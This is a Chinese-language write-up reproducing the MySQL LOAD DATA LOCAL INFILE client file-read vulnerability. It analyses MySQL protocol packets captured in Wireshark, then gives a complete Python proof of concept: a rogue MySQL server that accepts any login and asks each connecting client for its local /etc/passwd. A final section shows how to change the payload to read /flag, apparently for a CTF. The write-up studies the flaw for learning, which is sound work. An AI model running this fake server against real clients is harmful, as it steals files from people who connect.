Mysql LOAD DATA 讀取客戶端任意文件

復現 Mysql LOAD DATA INFILE 讀取客戶端任意文件漏洞

前言

MySQL

客戶端和服務端通信過程中是通過對話的形式來實現的，客戶端發送一個操作請求，然后服務端根據客戶端發送的請求來響應客戶端，在這個過程中客戶端如果一個操作需要兩步才能完成，那么當它發送完第一個請求過后并不會存儲這個請求，而是直接丟棄，所以第二步就是根據服務端的響應來繼續進行，這里服務端就可以欺騙客戶端做一些事情。

但是一般的通信都是客戶端發送一個 MySQL 語句然后服務器端根據這條語句查詢后返回結果，也沒什么可以利用的。但是 MySQL 有個語法 LOAD DATA INFILE 可以用來讀取一個文件的內容并插入到表中。

從上圖的官方文檔說明可以看到，該命令既可以讀取服務端的文件，也可以讀取客戶端的文件，這取決于 LOCAL modifier 是否給定。

讀取服務端上的文件內容存入表中的 SQL 語句是：

load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

讀取客戶端上的文件內容存入表中的 SQL 語句是：

load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';

兩相對比，讀取客戶端上的文件內容多了一個 local 關鍵字。

以上所描述的過程可以形象地用兩個人的對話來表示：

1. 客戶端：把我本地 /data/test.csv 的內容插入到 TestTable 表中去
2. 服務端：請把你本地 /data/test.csv 的內容發送給我
3. 客戶端：好的，這是我本地 /data/test.cvs 的內容
4. 服務端：成功/失敗

正常情況下這個流程沒有問題，但是前文提到了客戶端在第二次并不知道它自己前面發送了什么給服務器，所以客戶端第二次要發送什么文件完全取決于服務端，如果這個服務端不正常，就有可能發生如下對話：

1. 客戶端：請把我本地 /data/test.csv 的內容插入到 TestTable 表中去
2. 服務器：請把你本地 /etc/passwd 的內容發送給我
3. 客戶端：好的，這是我本地 /etc/passwd 的內容
4. 服務端：成功偷取文件內容

這樣服務端就非法拿到了 /etc/passwd 的文件內容！接下來開始進行這個實驗，做一個惡意服務端來欺騙客戶端。為了編寫出偽造惡意 MySQL 服務器的 POC，必須對 MySQL 協議有足夠的了解，所以接下來嘗試分析一下 MySQL 協議的數據包。

MySQL 協議數據包分析

為了非法讀取客戶端文件，我們需要實現一個假的 MySQL 服務器。那如何實現呢？這需要我們對 MySQL 協議展開詳細的分析才能做到，好在借助 Wireshark 結合 MySQL 官方文檔可以幫助我們輕松分析 MySQL 協議的數據包。

我以 ubuntu 虛擬機為客戶端，windows物理機為服務端，借助 Wireshark 工具捕捉兩者間的 mysql 通信數據包。

客戶端ip：192.168.239.129

服務端ip：192.168.1.3

客戶端和服務端之間交互的 MySQL命令如下

mysql -h 192.168.1.3 -P 3306 -u root -p
use security;
load data local infile "/etc/passwd" into table users;

開啟物理機的 mysql，這里注意需要設置 mysql 允許外來連接，不知道如何操作看看這篇文章

設置 MySQL 允許外部訪問

2.打開 wireshark，選擇捕獲 Vmware 相關的網卡并選擇過濾 MySQL 協議，然后用虛擬機連接。

注意：不要使用 mysql 8.0.12 版本，否則相關的數據包顯示不完整，甚至連接的用戶名都顯示不了，這個版本的加密可能更嚴格吧。

官方文檔告訴我們 MySQL 協議也支持通過 TLS 進行加密和身份驗證。MYSQL_TLS

那我們捕獲的數據包是否進行了加密呢？稍加分析一下這些捕獲的數據包就可以判斷其確實使用了 TLS 進行了加密。接下來我們根據文檔結合 Wireshark 捕獲的數據包來進行實踐論證！

連接過程數據包

運行連接命令時捕獲到的數據包

mysql -h 192.168.1.3 -P 3306 -u root -p

不打算全部都細說，就以前兩個數據包為例子，和官方文檔對照來學習其結構。

第一個數據包 Protocol::HandshakeV10 服務端到客戶端

當客戶端通過 MySQL 協議連接到服務端會發生什么呢？官方文檔 Protocol::Handshake 告訴我們當客戶端連接到服務端時，服務端會發送一個初始的握手數據包（Initial Handshake Packet）給客戶端。根據服務端的版本和配置選項，服務端會發送不同的初始數據包。

為了服務端可以支持新的協議，Initial Handshake Packet 初始的握手數據包的第一個字節被定義為協議的版本號。從 MySQL 3.21.0 版本開始，發送的是 Protocol::HandshakeV10

我采用的 MySQL 版本是 5.7.26，所以發送的就是 Protocol::HandShakeV10 ，我們可以看看文檔是如何定義這個數據包的結構的：

關于 Type 字段各個值的含義在 Integer Types 和 String Types

int<1> 就是一個字節，string 表示以 00 字節結尾的字符串。

我們點開 Wireshark 中服務端給客戶端發送的初始數據包，從 Server Greeting 字段開始就是 payload 部分，也就是初始的握手數據包。從圖中我們可以看到有協議版本、服務端的 MySQL 版本、進程 ID。這和我們上圖的文檔是不是完美對應上了？

Protocol::HandShakeV10 只定義了一個數據包的 payload 部分，而關于頭部的定義在 MySQL Packets

和實際的數據包的對應：

payload_length:

sequence_id:

payload:

image-20230110151214416

值得注意的是 Wireshark 的數據是按照小端排列的，比如數據包長度 74 對應的字段數據是 4a 00 00。

其余的字段就不再分析了，大同小異。緊接著簡單看看客戶端給服務端的回應吧。官方文檔告訴我們，如果客戶端支持 SSL(Capabilities Flags & CLIENT_SSL is on and the mysql_ssl_mode of the client is not SSL_MODE_DISABLED) ，那么一個短的被稱為 Protocol::SSLRequest:

的數據包會被發送，使得服務端建立一個 SSL layer 并等待來自客戶端的下一個數據包。（這里你可能會感到混亂，前面不是說 TLS

嗎，怎么現在變成了 SSL？其實 TLS 是升級版的 SSL，但是由于 SSL 這一術語更加常用，所以人們經常互換使用者兩個術語。什么是 SSL、TLS、HTTPS）

如果不支持，那么客戶端會返回 Protocol::HandshakeResponse: 。同時在任何時候，發生任何錯誤，客戶端都會斷開連接。

第二個數據包 Protocol::HandshakeResponse41 客戶端到服務端

根據前面的分析，這里客戶端如果支持 SSL，那么會發送 Protocol::SSLRequest 數據包，否則就是Protocol::HandshakeResponse:。根據我的驗證，應該發送的是 Protocol::HandshakeResponse41

感覺挺奇怪的，我覺得應該發送 SSLRequest 才是，但是其包結構卻又對應不上。

image-20230110155957039

image-20230110160009859

client_flag（4字節），包括了擴展的 Client capabilities

image-20230110154523933

image-20230110154532699

max_packet_size（4字節）

0x01000000 = 16777216

image-20230110154621557

character_set（1字節）

image-20230110160051396

filler（23字節）

image-20230110160132308

username（以 00 結尾的字符串）

image-20230110160203395

auth_response

文檔中說這是一個條件選項，當前的數據包是滿足這個條件的。

image-20230110161053756

image-20230110161038844

根據文檔對這個字段的釋義，其是一個不透明的驗證響應。沒想到在實際數據包中是一個密碼，經過了某個哈希算法。我沒有去求證 MySQL 采用什么哈希算法，

image-20230110161236039

接下來就不繼續分析，大同小異。

這個數據包的重點在于能夠表明客戶端是否支持 LOAD DATA LOCAL，這是我們可以讀取客戶端本地文件的根本。關于這個字段的定義在：CLIENT_LOCAL_FILES

image-20230110152116352

image-20230110152515536

第三個數據包 Ok_Packet 服務端到客戶端

這個數據包一看就是 Ok_Packet

第四個數據包 COM_QUERY 客戶端到服務端

這個數據包是 COM_QUERY

第五個數據包 Text Resultset 服務端到客戶端

這個數據包是 Text Resultset

image-20230110180602484

image-20230110180306697

選擇 security 數據庫捕獲的數據包

當客戶端向服務端發送 use security 命令選擇數據庫時捕獲到的數據包。特別多，下圖并沒有截完整。這一步不重要

讀取客戶端文件捕獲的數據包

在客戶端上執行如下命令將 /etc/passwd 文件內容寫入到 users 表時捕獲到的數據包。

load data local infile "/etc/passwd" into table users;

一共就四個包，很明顯第一個包是一個 COM_QUERY

這個圖我不小心去讀服務端的文件了，但是無傷大雅。數據包結構是一樣的，而且下圖我重抓啦~

糟糕的是第三個數據包由于我的物理機拒絕了訪問而導致這個數據包是一個錯誤響應數據包。

我在這里找到了解決方案

stackoverflow

連接的時候用

mysql --local-infile=1 -u root -p -h 192.168.1.3

重新抓一遍包！！

第一個數據包客戶端到服務端 COM_QUERY

第二個數據包服務端到客戶端 LOCAL INFILE Request

這個數據包很重要，是構造惡意 MySQL 服務器的重點，我們需要根據這個數據包的結構書寫 payload。具體地說，需要偽造的部分是 MySQL 數據包的首部和 payload 部分。還記得前面的 MySQL 數據包的結構圖嗎？

對照一下上圖就會發現這個 MySQL 協議數據包的頭部是

0c 00 00 01

對應的 payload（不是 wireshark 的那個 Payload）是

fb 2f 65 74 63 2f 70 61 73 73 77 64

第三個數據包客戶端到服務端 COM_QUERY

上一個數據包服務端給客戶端發送LOAL INFILE Request 的響應后，客戶端發給服務端的這一個數據就包含了 /etc/passwd 文件的內容。

第四個數據包服務端到客戶端 Ok_Packet

客戶端經過兩個請求，成功的將自己的 /etc/passwd 文件插入到表 users 中，

根據我們前面所說，客戶端在發送完第一個請求之后并不會存儲這個請求，而是直接丟棄。所以第二步是根據服務端的響應來進行，這里服務器就可以欺騙客戶端做一些事情（改變第二個數據包的響應內容）。有了以上的鋪墊，POC

的編寫并不困難。只需要完成連接過程，然后修改第二個數據包的響應內容就好。

POC

我懶得完整編寫

POC 了，所以從網上抄了一個。值得一提的是這個 POC 并不標準，在連接建立過程中發送的數據并沒有包含數據包首部，而發送 payload

的時候又包含了首部。（同時從編寫的代碼來看好像編寫者并沒有對數據包的構成有一個準確的認識 hhh，當然也有可能是我錯了）

1. 客戶端發送請求數據包
2. 服務端發送 Mysql 的 Greet 與 banner 信息
3. 客戶端發送認證請求(用戶名與密碼)
4. 這里面我們當然要保證無論輸入什么密碼都是可以的
5. 獲取到文件信息直接輸出

#!/usr/bin/python
#coding: utf8
import socket
# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#數據包長度
payloadlen = "\x0c" #這里明顯有問題啦，因為文檔告訴我們數據包的長度是用三個字節表示的
padding = "\x00\x00"
payload = payloadlen + padding +  "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" #這里又把序列號拼在了 數據包的 payload部分
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
    conn, addr = s.accept()
    print 'Connection from:', addr
    conn.send(greeting)
    while True:
        data = conn.recv(BUFFER_SIZE)
        print " ".join("%02x" % ord(i) for i in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
        print "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
        if not data: break
        print "Data received:", data
        break
    # Don't leave the connection open.
    conn.close()

在服務器運行以上腳本，并在客戶端連接

收到 /etc/passwd 文件內容

讀取 /flag

如果想要讀取 /flag 如何修改 payload 呢？這是一個很簡單的問題，因為已知了這是一個 LOCAL INFILE Request 數據包，所以只需要構造一下數據包首部和 payload 部分即可（保持 POC 中其余字段不變）。

首部包括三個字節長的長度字段，一個字節長的序列號。

payload 部分是一個字節長的包類型 0xFB 和 xx 字節長的文件名

現在真正的數據部分是/flag，轉換成十六進制為 2f666c6167，其拼接上一個字節的包類型 0xFB 就湊成了 payload 部分：fb 2f 66 6c 61 67 ，故首部中的長度字段值為 0x06。

前言